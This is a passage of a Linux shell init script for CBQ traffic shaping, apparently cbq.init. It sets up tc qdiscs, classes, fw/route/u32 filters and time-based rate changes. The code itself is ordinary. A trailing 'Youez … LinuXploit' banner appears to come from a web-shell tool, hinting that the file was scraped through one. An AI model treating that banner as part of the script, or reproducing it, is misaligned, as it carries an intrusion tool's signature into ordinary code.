	DEVTEMP=`echo "$DEVFIELDS"| sed -n "/^$dev,/ { s/$dev,//; p; q; }"`
	DEVBWDT=${DEVTEMP%%,*};	DEVWGHT=${DEVTEMP##*,}
	[ "$DEVBWDT" = "$DEVWGHT" ] && DEVWGHT=""

	### Device bandwidth is required
	if [ -z "$DEVBWDT" ]; then
		cbq_message "could not determine bandwidth for device $dev!"
		cbq_failure "please set up the DEVICE fields properly!"
	fi

	### Check if the device is there
	ip link show $dev &> /dev/null ||
		cbq_fail_off "device $dev not found!"

	### Remove old root qdisc from device
	cbq_device_off $dev


	### Setup root qdisc + class for device
	tc qdisc add dev $dev root handle 1 cbq \
	bandwidth $DEVBWDT avpkt $AVPKT cell 8

	### Set weight of the root class if set
	[ -n "$DEVWGHT" ] &&
		tc class change dev $dev root cbq weight $DEVWGHT allot 1514

	[ "$1" = "compile" ] && echo
done # dev


### Setup traffic classes
for classfile in $CLASSLIST; do
	cbq_load_class $CBQ_PATH $classfile

	### Create the class
	tc class add dev $DEVICE parent 1:$PARENT classid 1:$CLASS cbq \
	bandwidth $BANDWIDTH rate $RATE weight $WEIGHT prio $PRIO \
	allot 1514 cell 8 maxburst 20 avpkt $AVPKT $BOUNDED $ISOLATED ||
		cbq_fail_off "failed to add class $CLASS with parent $PARENT on $DEVICE!"

	### Create leaf qdisc if set
	if [ "$LEAF" = "tbf" ]; then
		tc qdisc add dev $DEVICE parent 1:$CLASS handle $CLASS tbf \
		rate $RATE buffer $BUFFER limit $LIMIT mtu $MTU $PEAK
	elif [ "$LEAF" = "sfq" ]; then
		tc qdisc add dev $DEVICE parent 1:$CLASS handle $CLASS sfq \
		$PERTURB $QUANTUM
	fi


	### Create fw filter for MARK fields
	for mark in `echo "$CFILE"| sed -n '/^MARK/ { s/.*=//; p; }'`; do
		### Attach fw filter to root class
		tc filter add dev $DEVICE parent 1:0 protocol ip \
		prio $PRIO_MARK handle $mark fw classid 1:$CLASS
	done ### mark

	### Create route filter for REALM fields
	for realm in `echo "$CFILE"| sed -n '/^REALM/ { s/.*=//; p; }'`; do
		### Split realm into source & destination realms
		SREALM=${realm%%,*}; DREALM=${realm##*,}
		[ "$SREALM" = "$DREALM" ] && SREALM=""

		### Convert asterisks to empty strings
		SREALM=${SREALM#\*}; DREALM=${DREALM#\*}

		### Attach route filter to the root class
		tc filter add dev $DEVICE parent 1:0 protocol ip \
		prio $PRIO_REALM route ${SREALM:+from $SREALM} \
		${DREALM:+to $DREALM} classid 1:$CLASS
	done ### realm

	### Create u32 filter for RULE fields
	for rule in `echo "$CFILE"| sed -n '/^RULE/ { s/.*=//; p; }'`; do
		### Split rule into source & destination
		SRC=${rule%%,*}; DST=${rule##*,}
		[ "$SRC" = "$rule" ] && SRC=""


		### Split destination into address, port & mask fields
		DADDR=${DST%%:*}; DTEMP=${DST##*:}
		[ "$DADDR" = "$DST" ] && DTEMP=""

		DPORT=${DTEMP%%/*}; DMASK=${DTEMP##*/}
		[ "$DPORT" = "$DTEMP" ] && DMASK="0xffff"


		### Split up source (if specified)
		SADDR=""; SPORT=""
		if [ -n "$SRC" ]; then
			SADDR=${SRC%%:*}; STEMP=${SRC##*:}
			[ "$SADDR" = "$SRC" ] && STEMP=""

			SPORT=${STEMP%%/*}; SMASK=${STEMP##*/}
			[ "$SPORT" = "$STEMP" ] && SMASK="0xffff"
		fi


		### Convert asterisks to empty strings
		SADDR=${SADDR#\*}; DADDR=${DADDR#\*}

		### Compose u32 filter rules
		u32_s="${SPORT:+match ip sport $SPORT $SMASK}"
		u32_s="${SADDR:+match ip src $SADDR} $u32_s"
		u32_d="${DPORT:+match ip dport $DPORT $DMASK}"
		u32_d="${DADDR:+match ip dst $DADDR} $u32_d"

		### Uncomment the following if you want to see parsed rules
		#echo "$rule: $u32_s $u32_d"

		### Attach u32 filter to the appropriate class
		tc filter add dev $DEVICE parent 1:0 protocol ip \
		prio $PRIO_RULE u32 $u32_s $u32_d classid 1:$CLASS
	done ### rule

	[ "$1" = "compile" ] && echo
done ### classfile
;;


#############################################################################
################################# TIME CHECK ################################
#############################################################################

timecheck)

### Get time + weekday
TIME_TMP=`date +%w/%k:%M`
TIME_DOW=${TIME_TMP%%/*}
TIME_NOW=${TIME_TMP##*/}

### Load DEVICES, DEVFIELDS and CLASSLIST
cbq_init $CBQ_PATH

### Run through all classes
for classfile in $CLASSLIST; do
	### Gather all TIME rules from class config
	TIMESET=`sed -n 's/#.*//; s/[[:space:]]//g; /^TIME/ { s/.*=//; p; }' \
		$CBQ_PATH/$classfile`
	[ -z "$TIMESET" ] && continue

	MATCH=0; CHANGE=0
	for timerule in $TIMESET; do
		TIME_ABS=`cbq_time2abs $TIME_NOW`
		
		### Split TIME rule to pieces
		TIMESPEC=${timerule%%;*}; PARAMS=${timerule##*;}
		WEEKDAYS=${TIMESPEC%%/*}; INTERVAL=${TIMESPEC##*/}
		BEG_TIME=${INTERVAL%%-*}; END_TIME=${INTERVAL##*-}

		### Check the day-of-week (if present)
		[ "$WEEKDAYS" != "$INTERVAL" -a \
		  -n "${WEEKDAYS##*$TIME_DOW*}" ] && continue

		### Compute interval boundaries
		BEG_ABS=`cbq_time2abs $BEG_TIME`
		END_ABS=`cbq_time2abs $END_TIME`

		### Midnight wrap fixup
		if [ $BEG_ABS -gt $END_ABS ]; then
			[ $TIME_ABS -le $END_ABS ] &&
				TIME_ABS=$[TIME_ABS + 24*60]

			END_ABS=$[END_ABS + 24*60]
		fi

		### If the time matches, remember params and set MATCH flag
		if [ $TIME_ABS -ge $BEG_ABS -a $TIME_ABS -lt $END_ABS ]; then
			TMP_RATE=${PARAMS%%/*}; PARAMS=${PARAMS#*/}
			TMP_WGHT=${PARAMS%%/*}; TMP_PEAK=${PARAMS##*/}

			[ "$TMP_PEAK" = "$TMP_WGHT" ] && TMP_PEAK=""
			TMP_PEAK=${TMP_PEAK:+peakrate $TMP_PEAK}

			MATCH=1
		fi
	done ### timerule


	cbq_load_class $CBQ_PATH $classfile

	### Get current RATE of CBQ class
	RATE_NOW=`tc class show dev $DEVICE| sed -n \
		 "/cbq 1:$CLASS / { s/.*rate //; s/ .*//; p; q; }"`
	[ -z "$RATE_NOW" ] && continue

	### Time interval matched
	if [ $MATCH -ne 0 ]; then

		### Check if there is any change in class RATE
		if [ "$RATE_NOW" != "$TMP_RATE" ]; then
			NEW_RATE="$TMP_RATE"
			NEW_WGHT="$TMP_WGHT"
			NEW_PEAK="$TMP_PEAK"
			CHANGE=1
		fi

	### Match not found, reset to default RATE if necessary
	elif [ "$RATE_NOW" != "$RATE" ]; then
		NEW_WGHT="$WEIGHT"
		NEW_RATE="$RATE"
		NEW_PEAK="$PEAK"
		CHANGE=1
	fi

	### If there are no changes, go for next class
	[ $CHANGE -eq 0 ] && continue

	### Replace CBQ class
	tc class replace dev $DEVICE classid 1:$CLASS cbq \
	bandwidth $BANDWIDTH rate $NEW_RATE weight $NEW_WGHT prio $PRIO \
	allot 1514 cell 8 maxburst 20 avpkt $AVPKT $BOUNDED $ISOLATED

	### Replace leaf qdisc (if any)
	if [ "$LEAF" = "tbf" ]; then
		tc qdisc replace dev $DEVICE handle $CLASS tbf \
		rate $NEW_RATE buffer $BUFFER limit $LIMIT mtu $MTU $NEW_PEAK
	fi

	cbq_message "$TIME_NOW: class $CLASS on $DEVICE changed rate ($RATE_NOW -> $NEW_RATE)"
done ### class file
;;


#############################################################################
################################## THE REST #################################
#############################################################################

stop)
	cbq_off
	;;

list)
	cbq_show
	;;

stats)
	cbq_show -s
	;;

restart)
	shift
	$0 stop
	$0 start "$@"
	;;

*)
	echo "Usage: `basename $0` {start|compile|stop|restart|timecheck|list|stats}"
esac

Youez - 2016 - github.com/yon3zu
LinuXploit